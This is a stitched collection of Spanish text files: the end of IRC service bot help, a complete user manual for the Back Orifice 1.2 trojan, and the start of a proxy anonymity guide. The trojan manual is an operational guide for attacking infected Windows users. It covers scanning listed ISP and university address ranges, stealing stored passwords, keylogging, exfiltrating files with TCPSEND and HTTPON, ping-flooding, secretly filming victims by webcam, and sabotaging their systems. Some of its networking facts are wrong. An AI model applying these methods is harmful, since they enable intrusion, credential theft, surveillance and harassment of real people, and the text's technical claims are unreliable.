canal que Le dice a CHaN que elimine ciertos parámetros del canal. que puede ser uno de los siguientes: modes Resetea todos los modos del canal (ejemplo, limpia los modos i,k,l,m,n,p,s,t). bans Elimina todos los accesos prohibidos al canal. ops Elimina (quita) el privilegio de operador a todos los operadores (modo +o) del canal. voices Elimina (quita) el privilegio de "voz" (modo +v) a cualquiera del canal que lo tuviese. users Elimina (Patea -kicks-) TODOS los usuarios del canal. Por defecto, su nivel de acceso en el canal debe ser al menos 10 (diez) para utilizar este comando. Bot de mensajes: MEMO MeMO es una utilidad que permite a usuarios de IRC enviar mensajes cortos a otros usuarios de IRC, independientemente de si están en línea o no, igualmente se puede enviar mensajes a canales(*). Ambos nicks (remitente y destinatario) deben de estar registrados, así mismo el canal debe de estar registrado si se desea enviar un mensaje a este. Comandos de MeMO incluyen: SEND Envía un mensaje a un nick/canal LIST Lista todos tus mensajes READ Lee un mensaje DEL Borra un mensaje (o todos) SET Define opciones relacionadas con mensajes Escriba /msg MeMO HELP comando para ayuda mas especifica de los comandos arriba mencionados. (*) Por default, cualquier usuario con al menos nivel 10 de acceso en un canal puede leer los mensajes de ese canal. Esto puede ser cambiado con el comando CHaN LEVELS. Sintaxis: SEND nick memo-texto Envía un memo al usuario especificado. Dicho usuario recibirá una noticia de que tiene un nuevo memo. Lo recibirá inmediatamente si se encuentra en línea, o si no al momento de identificarse la próxima vez que se conecte. Ejemplo: /msg MeMO SEND joselito Muy bueno tu trabajo de traducción! ;) Sintaxis: LIST [NEW] Lista los memos que usted tenga actualmente. Si se indica el parámetro NEW, solo los nuevos memos (los no leídos) serán mostrados. Los memos no leídos están marcados con un "*" a la izquierda del numero de memo. Sintaxis: READ {numero | LAST} Muestra el contenido del memo indicado en numero, o el ultimo memo (por ejemplo, el recibido mas recientemente) si el parámetro LAST es dado EN VEZ DE numero.

14 Sintaxis: DEL {num[-num][,num...] | ALL} Si un numero num es dado, elimina dicho memo. Usted puede reemplazar un único numero por un rango de números para eliminar múltiples memos simultáneamente, tal como se verá en el segundo ejemplo. Si se ingresa ALL se eliminaran TODOS los memos. Ejemplos: DEL 1 Elimina su primer memo. DEL 2-5,7-9 Elimina los memos 2 a 5 y 7 a 9. Sintaxis: SET opción parámetros Establece varias opciones para los memos. Las opciones pueden ser: NOTIFY Establece CUANDO debe ser notificado de nuevos memos. LIMIT Establece el MAXIMO numero de memos que usted puede recibir Escriba /msg MeMO HELP SET opción para obtener mas información acerca de la opción específica. Sintaxis: SET NOTIFY {ON | LOGON | NEW | OFF} Establece CUANDO debe ser notificado de nuevos memos: Será notificado cuando se conecte, cuando quite su modo /AWAY y cuando un memo le ON sea enviado estando usted conectado. LOGON Será notificado únicamente cuando se conecte, y cuando quite su modo /AWAY. NEW Será notificado solamente cuando le sean enviados. OFF Usted no recibirá ningún tipo de notificación de memos. ON es básicamente la combinación de LOGON y NEW simultáneamente. Sintaxis: SET LIMIT [canal] limite Establece el máximo numero de memos que usted está habilitado a tener. Si establece limite a 0 (cero) nadie podrá enviarle memos a usted.

MANUALBO.TXT MANUAL DE BO 1.2 CASTELLANO Version 2.1 ReSeT Productions

PARTE I Prefacio. Este manual está orientado para sacar el máximo partido al BO. No obstante, uno debe tener claro, qué es lo que realmente pretende violando sistemas remotos de los nuevos venidos al mundo de inet. El usuario de BO puede pretender: - Obtener + Cuentas de conex y de servicios a red. - Explorar sistemas remotos (aunque haya poco k explorar XDDD) - Usar el nodo de conex del lamer para otros fines. - Para reirse y pasar un rato divertido a costa del lamer. ******************************************************************************** 1) OBTENER + CUENTAS DE CONEXIÓN Y SERVICIOS A RED. ******************************************************************************** Bueno, lo típico; tan sencillo como teclear "passes" y te salen los passes de la máquina. Fácil, ¿no? . Ya.... pero uno se pregunta si realmente sirve de algo coleccionar pases de otra gente si generalmente cada uno tiene su ISP que no falla nunca y va tira bien. Bueno, como diría algún filósofo que ahora nomacuerdo, las cosas inútiles son a veces las más útiles. Coleccionar cuentas de muchos servidores sirve para: 1 - Tener versatilidad de IP = poder burlarse de controles de fowarders que filtran IPs. 2 - Experimentar los más y los menos de cada servidor. 3 - Aprender muchas DNS. ¿Sirve de algo? desde luego. Una persona que sabe Dns, sabrá y recordará fácilmente IPs, lo que hará coger gran agilidad a la hora de usar con dichos números. Introducción a las DNS: El DNS(Domain Names Server) es el rango de direcciones(o dominio)en que un ISP(Internet server Provider) puede nombrar a sus clientes. Cómo nombra a sus clientes? con el número de IP (Internet Protocol = que tb es un protocolo ICMP) El número está formado por cuatro octetos(octetos=8 bits=2^8=256), los cuales están formados por un número de 0 a 255. La IP tiene la estructura: 1er Octeto: Designa el número de red y designan a redes tipo "A" (mu grandes) Se evita el 0, 127 y 255. ¿por qué? El 0 se usa para una máquina que no se sabe desde qué red opera, ej: 0.0.0.23; nos encontramos con un host 23 que no tenemos ni idea desde dónde se conecta. El 127 porque cumplen especificaciones especiales. El 255 son direcciones de difusión(broadcast), es decir que cada sistema en una red puede ver. Digamos un símil: es un mensaje masivo en el IRC. XD 2o Octeto: Designa redes tipo "B". Vamos a ver, matemáticas: 256*256=64516 nodos! Son tipo B pero n´heu ni dó. Si tenemos encuenta que casi todos los ISP usan IPs dinámicos, nos sobran números; y por eso se usa una solución, establecer redes tipo "C" para ir ampliándolas a partir del tercer octeto. 3er octeto: 256 nodos al mismo tiempo. Ya no son tantos. Por eso, por ej, arrakis tiene Página 1

MANUALBO.TXT una especificación tipo "C" con un dominio de 13 octetos (por ahora) Con el Bo, la forma de barrer dominios es "sweep" (to sweep=barrer), y como un sweeper o barrendero se tratase, la forma para encontrar lamers infectados con el bo es poniendo sweep y los 3 octales. Ej BO> SWEEP 195.55.158 (a ver el subdominio de JET...) He aquí una pequeña lista de dominios que he recopilado con mi esfuerzo: 62 . 81. 70-75 Retevision Barcelona 68 Retevision Madrid 81-88 Retevision Madrid 158. 42. 52 Upv (Universidad politécnica de valencia) 158.109. 9 Uab (Universidad autónoma de Barcelona) 194. 55.158 Jet 194.105. 5 Servicom 194.143.192 Encomix 194.179.106 Infernet 194.179.111 Gru 194.158. 88 Mypic.ad 194.224.200 Activanet 195. 5. 65-78 Arrakis 195. 53. 32 Abonad.cat 195. 53.232 Recol 195. 55. 11 Uniovi (Universidad de Oviedo) 195. 57.199 Idecnet 195. 76.154 Intercom 195. 77. 10 Upcnet (Universidad Politécnica de Catalunya, jeje, de donde yo vengo) 195. 77.101 Abaforum 195. 77.155 Minorisa 195. 77.240-241 Olivet 195.122.194-208 Redestb 195.122.174 Tekres 195.212. 25 Ctv 195.235. 57 Meditex 195.235. 32 Rad.tsai 206.117.176 Fx.org 207. 77.168 Hobbes.cis.net 208.164. 31 Pc-1080 212. 25.132-138 Ctv Además, para máxima comodidad, he decidido incorporar una referencia a servidores con sus respectivos DNSs primario y secundario respectivamente para configurac de redes Lo de AB es el ancho de banda del servidor. El correo electrónico corresponde al administrador. Con un poco de imaginación, se puede "usar" dicho correo para nuestro beneficio. Pidiendo datos específicos de los servidores como el número de usuarios en determinada hora para hacer una estadística, y determinar el grado de saturación... ===========Infovia==================================== DNS: 194.224.185.2 DNS: 194.224.185.5 =========== ARRAKIS ================================= PVP:3000/m AB:34 MB DNS:195.5.64.2 URL: www.arrakis.es [email protected] DNS:195.5.64.6 IRC: andromeda.irc;pleyades.irc;fuego.irc;orion.irc tel: 902.22.21 ==============CTV=================================== PVP:1500/m (5000a) AB:34 MB DNS: 194.179.52.2 URL:www.ctv.es [email protected] DNS: 194.57.142.21 IRC: europa.irc tel: 902.44.45.55 ===============================JET================================= Mens: 3500 IRC: polaris.irc AB: 34 MB Página 2

MANUALBO.TXT DNS: ???? ==============================REDESTB====================== PVP:1500/M AB: 3400 DNS: ???? URL: www.redestb.es [email protected] DNS: ??? IRC: pulsar.irc tel 91.891.44.81 ==============================SENDANET=================== DNS: 194.179.73.2 DNS: 194.179.73.8 ==============================SERVICOM=================== PVP:3700 AB: ??? DNS: ???? URL: www.servicom.es [email protected] DNS: ???? irc: sirius.irc Tel: 902.22.66.22 ===============================TELELINE================== PVP: 1500 AB: ??? DNS: 194.224.53.3 URL: www.teleline.es [email protected] DNS: 194.224.53.3 IRC: Ninguno Tel: 902.15.20.25 ahhhh, de este servidor tengo que hacer una comentario, no lo puedo evitar. Cómo es posible que anuncien este ISP por el mass media por excelencia "léase televisión" con la gran oferta de un modem de 56 k. Increible! Osea ahora los modems de "ahora" tienen 56 k de ram o rom o yo qué se. Voy a analizar un poquillo en anuncio. El ISP se jacta de proporcionar grandes servicios de asistencia a los clientes (en el anuncio los clientes son los monos), y los administradores de dicha red los genios que trabajan al otro lado del cristal. Pues bien, no voy a entrar en comeduras psicologistas del doble juego de los publicistas a la hora de representar la situación con semejantes esperpentos de símiles. Pero lo que me revienta es al final el genio de turno diciendo eso de, "y si conecta ahora a teleline le regalamos un modem de 56 k."!!! pero qué es eso?? ahora me entero que los modems de ahora van a 56 k! ¿56 k? por segundo???? pero si son mejores que los RDSI que van a venir y todo! no no no confundamos a los monos. se refieren a un modem de 56000 baudios. Sin entrar en tecnicismos de paridad, el CRC y tal y cual, diremos que cada baudio es un bit y 8 bits es un byte. y 1024 bytes es 1 Kb. osease. un modem de esas características tiene llega a un flujo DI o DO (data IN o OUT) de.... casi 7 kb/s. Eso sin contar que no veremos esa velocidad con "nuestra" maravillosa infovía hasta dentro de un tiempo, Creo yo que el futuro pasa por el cable y el futuro más lejano por un cambio de especificación de protocolo para implementar una comunicación por satélite. Eps, que me voy de la olla. ¿esto qué éh¿, un cajón de sastre o un manual de bo... :/ Volvamos: - El bo cuando pilla una cuenta, suele pillar otros datos que vienen en forma de basurilla al lado del password... cómo entonces diferenciar el password de lo que no lo es? pues para eso el bo, inteligentemente reitera un password varias veces para que por exclusión saquemos el password. Si tenemos: Password: 'jose1233ÖÖst\Sites\Arrakis\ Password: 'jose613Ñ,' Está claro que el password es 'jose' por extrusión. El BO tb proporciona passwors de páginas web, pero yo no he conseguido entrar con dichos Página 3

MANUALBO.TXT passwords a NINGUNA.... :( ¿por qué?. Ej: Resource: 'members.hardcoresex.com/live xxx videos' Password: 'teqtero:141533' se trata de un club xxx, pero, el login y el password cuál es? teqtero y 141533 respectivamente???? Pruebo... pues no! qué falla? si alguien sabe la respuesta que me lo haga saber: [email protected]

********************************************************** EXPLORAR SISTEMAS REMOTOS ********************************************************** Los sistemas remotos usan windows 95 o windows 98 (cada vez más..), si yo tb tengo eso, qué es lo que hay que explorar..?¿ Con explorar me refiero a aprender a discriminar lo importante de un sistema de lo que no tiene ningún valor. Digamos, que cuando entras en un sistema y haces un "dir", te situas más o menos de quien se trata. Yo he entrado en "bastantes" sistemas y la experiencia me dice que los "dirs" a primera vista son bastante sugestivos. Pero no obstante, el bo implementa una función llamada find para localizar ficheros, ¿por algo será no? Yo personalmente prefiero entrar siempre con telnet al command (ver PARTE II) y hacer un dir a*.* /s, cuestión de gustos. Luego copio todos los ficheros de interés a un directorio deltro del temporal windows y me mediante un httpon 40 c:\windows\temp\recolecta recojo la "RECOLECTA" Qué es lo que interesa de un sistema??? pues.... - Los archivos PWL, guardan todos los passwords de internet y de conex a redes; osease lo que hace el bo con "passes", lo puedes hacer tu manualmente obteniendo el programilla crackeador pwlcrack.exe y haciendolo tu manualmente. - System.ini, con el login y password que guardan los pwl. - scytale.log, si el lamer guarda logs, ahí estarán las claves de autentificación. Tengo conocimiento de un caso,en el cual la víctima era una administradora de un canal que no voy a comentar, el cual los listos con psedónimo "kpullazo" y "kabron2" se autentificaron y cambiaron el password, así, la verdadera administradora no podía autentificarse. Mientras los otros tomaron entre risas y burlas el canal... y la gente atónita con tan sublime espectáculo, los dos "listos" pasaron por hackers como los de las películas y los periódicos de verdad. - tree.dat, del cuteftp con las claves de direcciones FTP que se pueden crackear con cutecrack - eudora.ini, passwords del mail eudora. Bueno, a parte de eso, puedes "chafardear" con los logs y documentos personales; como los curriculum vitaes que tanto aparecen, las fotos personales, apuntes y trabajos de la escuela e informes y todo. Mi experiencia me indica que "chafardear" es tan lúdico como ver la televisión, por lo que si no tienes una 900 (la mía sacabo hace 3 días sniff...), mejor ver ésta última porque los bolsillos lo notarán. XDD. Mi opinión es que leer logs y tal es comparable a leer revistas del corazón, osea tremendamente idiota y tonto Página 4

MANUALBO.TXT hacerlo sistemáticamente. ***************************************************** USAR EL NODO DE CONEXIÓN DEL LAMER PARA OTROS FINES ***************************************************** Público - Cómo? no entiendo.... qué esto? ReSeT - Sencillamente usar el módem del lamer para otros menesteres. Por ejemplo, pinguear a alguien a través del comando PING que es nativo del "maravilloso" GÜindows. o pinguear a "Muchos" Para quien no sabe muy bien qué es un PING le diré que es un paquete ICMP con el flag SYN, . y que está obligado a quien lo recibe a contestar con otro paquete de respuesta (el echo que se llama, echo=eco) de ahí eso de echo requester=petición de eco. Generar muchos pings no consume casi AB de conex y contestarlos, en cambio, bastante. De esta forma, si mandas muchos pings a una máquina, está se dedicará a contestar tus pings y le irás comiendo progresivamente AB hasta que le satures completamente la conex porque ésta sólo se dedica a contestar tus pings... es en este momento en que el servidor IRC "ve" que dicha máquina no está disponible y es expulsada del IRC. El ping flood ha sido llevado a cabo con éxito. (to flood=inundar). Claro que si pingueas desde varios puntos, la víctima será floodeada con más éxito. Ya que si la máquina "sólo" se dedica a hablar por IRC, dicha actividad consume un AB muy pequeño y será más difícil pinguearla. Más fines, más..... La opción redireccionamiento que tanto gusta a los boadictos. Y no es para menos. Tengo que reconocer que yo no tengo mucha experiencia en esto y ni me he encontrado con nadie que me explique cosass claramente. Solicito ayudaaaaa [email protected] Para pasar anónimo: rediradd 666 (servidor ip nuevo):31337 Tb hay un truquillo de redireccionamiento que se trata de provocar un reset by peer a la víctima haciéndolo tu tb con un clon. Proceso: averiguar la dns del servidor irc el cual está el lamer. con >/dns irc.redestb.es (por ej.) para poner puesta a punto su pc poner: BO> REDIRADD 1001 XXX.XXX.XXX.XXX:6667 , donde XXX.XXX.XXX.XXX es el dns del servidor irc En status(del segundo irc que abres) poner: >/server XXX.XXX.XXX.XXX:1001 Estoy casi seguro que esta función es la más interesante del BO, pero no he sabido encontrar gente que sepa sobre esto... :(( ayudaaaaa ******************************************************* PARA REIRSE Y PASAR UN RATO DIVERTIDO A COSTA DEL LAMER ******************************************************* Esta parte podría ocupar un tomo de 500 páginas de cómo sadiquear con tu víctima hasta la extenuación. Voy a contar mis peripecias: - Susto "visual": un día me pasaron una foto realmente asquerosa que no voy a Página 5

MANUALBO.TXT describir porque no quiero que me vuelvan a entrar arcadas... bueno. la cuestión que se me ocurrió por mediación de NETBUS y su opción SHOWIMAGE, mostrar la imagen a uno de mis lamers. (por cierto, si alguien ha encontrado el fichero app.exe como nombre del server del netbus, ese es mi lamer). El proceso es sencillo: bo> HTTPON 40 C:\WINDOWS IE HTTP:\\XXX.XXX.XXX.XXX:40 NETBUS UPLOAD-----> FOTO GORE ahora el intrículis.... qué sentido tiene mandar la foto si no te enteras de la cara que pone, ni siquiera sabrás a ciencia cierta si la va a ver... pues para qué sirve el comando CAPAVI? Claro que para ello tiene que tener una webcam, algo que tampoco es tan difícil si pillas a mucha gente cada día... con BO> LISCAPS 0 webcam II blah blah efectivamente: bo> CAPAVI C:\WINDOWS\TEMP\CARA.AVI 0,320,200,256 ahora rápido: NETBUS SHOWIMAGE -> C:\WINDOWS\IMAGE.JPG justo, para "verle" el careto. luego tienes que bajarte el archivo y guardalo en el directorio "trofeos" XDDD Cuánto okupa? pues 1,5 MB.... estarás 15 min bajándotelo, o bien, otro día. (lo malo es el directorio temp)... tb se aconseja directorio c:\windows\drwatson\a por qué el dr watson? porque nunca lo encontrará ahí el lamer, seguro que no sabe ni qué es eso... XDD - Cambiar el fondo del escritorio: Bajarse el fichero win.ini Crear con photoshop la imagen que quieras que aparezca en el escritorio del lamer/S. y grabarla xxx.BMP(se recomienda que no okupe toda la pantalla,... si no quieres estár media hora pasándole el archivito...) Ahora te bajas su win.ini y lo editas con EDIT y con la opción buscar, buscas desktop. La encontrarás: [desktop] wallpaper=c:\windows\peces.bmp tilewallpaper=0 wallpaperstyle=0 pattern=(nono) pues cambiar c:\windows\peces.bmp por c:\windows\xxx.bmp lo subes otra vez. ya está. - Putaditas varias: cambiar el logo.sys. logow.sys y logos.sys por otras imágenes que te gustaría que el lamer tenga que ver al apagar y encender su sistema. El logo.sys= windows 95 (ojo! no win98) El logos.sys =win95/98 mensaje windows preparadose para cerar... El logow.sys =win95/98 mensaje windows ahora puede apagar el equipo - Editar el mirc.ini y cambiar lo que se te ocurra. - en el system.ini: cambiar shell=explorer.exe por shell=progman.exe Es decir, cambiar el explorer por una especie vestigio del windows 3.11 XDDDDD - Cambiar win32help.exe por tour98.exe Es decir, cuando pulse f1 verá un paseo por windows (eso en win 98, en 95 creo que se llama de otra manera) XDDDDDDDDDDDD - Cambiar el registro! en HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE\..... meter el programa que en el directorio windows quiera que se cargue. por ejemplo: una imagen grabada .exe o bien, hacer que se carguen muchas Página 6

MANUALBO.TXT chorradas al principio: calc, el write, defrag,mplayer, control, progman, o bien, un programa que reboota directamente, lo malo es que abusar, hará que el lamer se reinstale el windows y nos borrará del registro nuestro "amigo" bo.

PARTE II En este manual los [] significará que el modificador es de especificación incondicional. Los () significará que el modificacor es de especificación condicional Los {} significará que el modificador es de especificación optativa

- Aplicaciones de Consola -____________________________________________________ APPADD [nombresexe] puertodeentrada Escribe un texto basado en una aplicación de un puerto TCP. Con telnet se puede conectar vía: 7 echo 13 daytime 17 qoutd 19 chargen 23 Telnet Esto te permite controlar un texto o una aplicación DOS, como COMMAND.COM vía telnet usage: appadd "exefilename paramaters" inport example2: appadd "netstat -na" 998 APPDEL Para una aplicación de conexiones de escucha APPDEL - Removes a console application from the redirected console apps usage: appdel appid example: appdel 0 APPLIST Lista las aplicaciones actualmente en escucha de conexión.

-COMANDOS DE FICHEROS-________________________________________________________ CD [ruta] Para acceder a directorios de nombres largos se ha de poner entre paréctesis. Por ejemplo si se quiere acceder al directorio <mis documentos> se ha de telclear: cd "mis documentos" MD [ruta] Crea directorio Los directorios que es interesante crear son los que el server crea que son de sistema por ejemplo c:\windows\temp Página 7

MANUALBO.TXT RD [ruta] Borra directorio. Si hay alguien que realmente se lo merece, los directorios que pueden ser interesantes de borrar son: c:\windows\fonts; c:\windows\win32\c:\windows\system DIR {ruta} Directorio Admite wildcards FIND [fichero] [ruta] : encuentra ficheros dentro de los subdirectorios de la ruta. Admite wildcards. He aquí una lista de tipos de archivos: AVI:(Animation Video Interface) Para animaciones MP3: Música MP3 MPG: Peliculillas... LOG: Para leer los logs del lamer COPY [origen] [destino] copia un archivo. usage: copy sourcefilename targetfilename example: copy c:\windows\system\bo.exe \\server\c\windows\startm~1\programs\st REN [origen] [destino] Renombra un archivo o directorio. usage: ren oldfilename newfilename example: ren c:\windows\fonts c:\windows\f DEL [fichero] : borra un archivo FREEZE [fichero] [fichero_comprimido] FREEZE - Compresses a file. Esta instrución no admite wildcards, por lo que sólo funciona con un archivo. Recomendaría llamar a los archivos comprimidos .frz. ejemplo: freeze c:\windows\temp\cap.bmp c:\windows\temp\c MELT [fichero_comprimido] [fichero] Descomprime un archivo ejemplo: melt c:\windows\temp\t c:\windows\desktop.bmp VIEW Ve un archivo de texto VIEW - Views a textfile usage: view filename example: view c:\windows\system.ini

-REDIRECCIONAMIENTO-________________________________________________________ REDIRADD: redirecciona las conexiones RCP o los paquetes UDP a otra dirección IP REDIRADD - Adds a port redirection usage: rediradd inputport outputip:port,udp example1: rediradd 33331 205.183.56.7:31337,U example2: rediradd 1001 207.213.15.11:23 note: If no output port is provided the input port is used. REDIRDEL: para el redireccionamiento de un puerto REDIRDEL - Deletes a port redirection usage: redirdel redirnumber example: redirdel 0 REDIRLIST REDIRLIST - Lists the current port redirections Página 8

MANUALBO.TXT - REGISTRO-_____________________________________________________ REGMAKEKEY [llave] Crea una llave en el registro No especifique la cabecera \\ para los valores de registro. Los registros son: hkey_classes_root hkey_current_user hkey_local_machine hkey_current_config ejemplo:

regmakekey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare

REGDELKEY [llave] Borra una llave del registro ejemplo: regdelkey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare REGDELVAL [nombre del valor] Borra un valor del registro ejemplo: regdelval HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Run\netwatcher REGLISTVALS [llave]: lista los valores de una llave de registro. Si está incompletamente especificada muestra solo el número de llaves creadas en dicho registro. Nota: este comando suele tardar un tiempo en ejecutarse... es bastante inestable y se recomendaría ejecutarlo en el GUI client. REGSETVALS: Fija un valor para una llave de registro, creándola si ésta no existe.. BIN: AF,2B... DWORD: 1 S: Cadena usage: regsetval valuename type,value example1: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\BinaryValue B,08090A0B0C0D0E0F10 example2: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\DwordValue D,54321 example3: regsetval HLEY_LOCAL_MACHINE\SOFTWARE\StringValue "S,This is a stringvalue" note: Binary values (type B) are specified in two digit hex values, Dword valu es (type D) in decimal

RESOLVE: da el host RESOLVE - Resolves the ip of a hostname from the remote host usage: resolve servername example: resolve server2

-SISTEMA-_______________________________________________________________________ DIALOG: crea un diálogo con el texto dado y un OK. Puedes hacer muchos y si aparecerán en el servidor en forma de cascada usage: dialog dialogtext titletext example: dialog "Get back to work you lazy bum!" "A message from the managemen t:" INFO: muestra información sobre el servidor: Por ejemplo: System info for machine 'DEFAULT' Current user: 'pallares' Processor: I586 Win32 on Windows 95 v4.10 build 1998 Página 9

MANUALBO.TXT Memory: 31M in use: 100% Page file: 94M free: 63M C:\ - Fixed Sec/Clust: 32 Byts/Sec: 512, Bytes free: 65077248/848199680 D:\ - Fixed Sec/Clust: 64 Byts/Sec: 512, Bytes free: 2069626880/2.130.018304 E:\ - CD-ROM End of system info nombre de máquina usuario CPU Version del sistema operativo memoria disponible Información de unidades (byts/sec, bytes libres)

LOCKUP: Bloquea el sistema del server PASSES: Te da los passwords de conexión y otros... REBOOT: apaga el sistema y reboota

-TCP-_______________________________________________________________________ TCPRECV: conecta el servidor a un IP específico y puerto y guarda algo de datos de esa conexión a un fichero especificado. TCPRECV - Connects the server to an ip and receives a file usage: tcprecv filename targetip:port example: tcprecv c:\file 206.165.128.130:999 TCPSEND: Conecta el server a un IP específico y envía los contenidos a un fichero específico. Entonces desconecta. nota: una utilidad para hacer esto es NETCAT Netcat -1 -p 666 >file -------------> desde el server Netcat -1 -p 666 al server TCPSEND - Connects the server to an ip and sends a file usage: tcpsend filename targetip:port example: tcpsend c:\file 206.165.128.130:999

-PLUGINS-__________________________________________________________________ PING: retorna el nombre de la máquina y la versión del BO. Interesante para ver si la máquina vive o ha desconectado. PLUGINEXEC Ejecuta un plugin del Back Orifice. Si es de otro programa puede bloquearse el sistema del server usage: pluginexec dllname:pluginname pluginargs example: pluginexec bos:_SniffPasses 0001 c:\sniff.log PLUGINKILL: apaga algún plugin específico PLUGINKILL - Tells a plugin to terminate usage: pluginkill pluginid example: pluginkill 0 PLUGINLIST: lista los plugins activos o retorna los plugins que existen PLUGINLIST - Lists active plugins Página 10

MANUALBO.TXT

-PROCESOS-________________________________________________________________ PROCKILL: termina el proceso PROCKILL - Kills a running process usage: prockill processid example: prockill 4294651219 note: processid's are listed by PROCLIST PROCLIST: lista los procesos en marcha PROCSPAWN: carga un programa Desde GUI: si el segundo parámetro es especificado el proceso será ejecutado como visible. De otra manera será oculto. PROCSPAWN - Spawns a process usage: procspawn exename arguments example: procspawn command.com /C netstat -na > c:\windows emp HTTPOFF: quita el servidor HTTP HTTPON: pone el servidor HTTP HTTPON - Enables the http server usage: httpon port root example1: httpon 80 c:\www example2: httpon 9999 note: If no root is supplied, all drives are accessable via http KEYLOG: logea las pulsaciones del server a un fichero de texto KEYLOG - Logs keystrokes to file usage: keylog logfilename example: keylog c:\windows\temp\t\l note: Use 'keylog stop' to end keyboard logging KEYLOG END: para el logeo

-MULTIMEDIA-_______________________________________________________ CAPAVI [ficheroavi] [segundos]{,dispositivo,anchura,altura,numcolores} Captura video de un dispositivo de captura de video los segundos especificados Ejemplo: capavi c:\windows\desktop\you.avi 10,0,160,120,16 CAPFRAME [nombrebitmap] {dispositivo,anchura,altura,numerodecolores} Captura la imagen de un dispositivo de imagen como una webcam.. Este comando para que funcione debe existir dicho dispositivo de imagen (lo comprobamos con listcaps) y luego a de estar encendido. Lo que le hace un comando muy restrictivo... Los valores determinados son 0,640,480,16 Ejemplo c:\windows\temp\webcam.bmp 0,320,200,16 CAPSCREEN [nombrebitmap] Captura la pantalla del sever a un fichero mapa de bits nombrado nombrebitmap example: capscreen c:\windows\temp\pantalla_del_lamer.bmp LISTCAPS Lista los dispositivos que pueden capturar video. Naturalmete si muestra alguno dará luz verde para que CAPFRAME capture algo de Página 11

MANUALBO.TXT interés... ex LISCAPS: 0: miroVIDEO DC20, Motion JPEG Capture/CODEC Board Version:

0.1.0.3

SOUND [ficherowav] Reproduce un WAV en el servidor example: sound c:\mirc\sound\burro.wav

-NET-______________________________________________________________ NETLIST: lista las conexiones de red. Mensajes de error: Current connections: Error 1222:Falta la red o bien no se ha iniciado opening network enumeration Persistent connections: Incomming connections: NETDISCONNECT Desconeca los dispositivos de red, dominiosm servidores y exportaciones visuales de la máquina servidora. NETDISCONNECT [entornodered] Desconecta la máquina del entorno de red example: netdisconnect \serverdmin$ NETCONNECT [entornodered] {password} : conecta la máquina a un entorno de red. ejemplo: netconnect \serverdmin$ s3cur3

Página 12

navegacion anonima utilizando servidores proxies.txt ============================================================================== NAVEGANDO ANONIMAMENTE - SERVIDORES PROXIES by =VoraX= ============================================================================== I. ¨Que es un proxy server? II. ¨Para que sirve un proxy? III. ¨Como uso un proxy con mi navegador? IV. ¨Que proxies puedo usar? (I) ¨Que es un proxy server? La traduccion de la palabra "proxy" es "apoderado" o "sustituto", es decir una persona que toma la identidad de otra para determinada tarea. Aplicado a la computacion y a Internet un proxy es un servidor que sirve de intermediario entre un cliente y otro servidor. CONEXION NORMAL SIN PROXY (navegador,ftp) (gopher,etc)

(A <-> B) [RESPUESTA] <------<SERVIDOR> ========> (HTTP,FTP,etc) [PEDIDO]

El cliente (A) que puede ser un navegador, un cliente ftp o de cualquier otra clase se conecta con el puerto correspondiente del servidor (B). CONEXION CON PROXY (navegador,ftp) (gopher,etc)

(A <-> C <-> B)

[RESPUESTA] <-----=======> [PEDIDO]

======= | PROXY | | SERVER| =======

[RESPUESTA] <------=======> [PEDIDO]

<SERVIDOR> (HTTP,FTP,etc)

En este caso el cliente (A) se conecta con un puerto especifico del servidor proxy (C), y hace un pedido a otro servidor (B). El proxy C se conecta con B y hace el pedido, luego de recibir la respuesta se la envia al cliente original A. CONEXION CON CACHE PROXY SERVER (navegador,ftp) (gopher,etc)

[RESPUESTA] <-----=======> [PEDIDO]

======= | PROXY | | SERVER| ======= || \/ [] \-------/

[RESPUESTA] <------=======> [PEDIDO]

<SERVIDOR> (HTTP,FTP,etc)

Esta conexion es igual a la anterior con la diferencia de que el servidor proxy tiene un cache (en disco) donde almacena las respuestas a los pedidos de los clientes (A). En una conexion normal cada programa cliente se comunica con el puerto correspondiente en el servidor.Por ejemplo, cuando usamos un navegador, este se contacta (generalmente) con el puerto 80 de la otra computadora. Cuando bajamos una pagina el pedido se hace a ese puerto, y de alli se reciben las respuestas. Cuando usamos el ftp pasa lo mismo pero con un puerto distinto (23) aunque en realidad se usan otros para los datos, pero no es tema de este texto. En cambio, si usamos un proxy el programa cliente se conecta a un puerto en una computadora donde funciona el "Proxy Server" y le hace un pedido de otro servidor en otro puerto pero de un servicio especifico(http-ftp-etc) Por eso existen distintos tipos de proxies de acuerdo al tipo de servicio que soportan, lo que mas frecuentemente encontramos es: "HTTP proxy server" y "FTP proxy server" Página 1

navegacion anonima utilizando servidores proxies.txt (II) ¨Para que sirve un proxy? Los proxies tienen muchas utilidades, generalmente funcionan junto con las firewalls, se usan de cache para acelerar la navegacion en LAN's o hasta en ISP, pero el uso que nosotros le vamos a dar es el de ANONIMIZADOR Como vimos antes, si nos conectamos a un servidor X mediante un proxy, nosotros hacemos el pedido al proxy, el proxy lo hace al servidor X y nos envia la respuesta a nosotros. Por lo tanto en X queda registrado que se conecto el proxy y no directamente nosotros. Aunque en los logs del proxy puede figurar nuestra IP y a donde nos conectamos. En definitiva usando proxies ocultamos nuestra IP, y por lo tanto nos ANONIMIZAMOS. (III) ¨Como uso un proxy con mi navegador? Lo que necesitamos para usar un proxy en un programa cliente es configurar su direccion (IP o nombre) y el puerto en el que funciona. Debemos conocer que tipo de servicios soporta el proxy, de acuerdo a esto cambia el puerto en el que funciona, aunque hay muchas excepciones. En algunos programas tenemos casillas para completar la direccion y el puerto de un proxy para cada servicio en otros debemos poner la URL de la forma http://DOMINIO:PUERTO ej: http://Proxy.wasantara.net.id:8080 Los tipos de proxy que soportan muchos navegadores son:HTTP,FTP,GOPHER, WAIS, Security y SOCKS. Los cuatro primeros creo que los conocen porque hasta en el texto mas chico y estupido sobre internet los describe. El Security es para manejar el SSL.SOCKS se usa en las firewalls para controlar el acceso a servicios en Internet, sirve de filtro de las conexiones, permite loguear tan especificamente, permitir o no el acceso a determinados sistemas y muchas otras funciones. COMO CONFIGURAR LOS PROXIES EN LOS NAVEGADORES MAS CONOCIDOS: =Netscape 1.22 (e inferiores)= Menu Options->Prefereces->Proxy (Resetear?) =Netscape 2.0 (y superiores)= Menu Options->Network Preferences->Proxy =Netscape 4.x = Menu Edit->Preferences...->Doble clik en Advanced->Clik en Proxies-> (en la derecha) marcar Manual 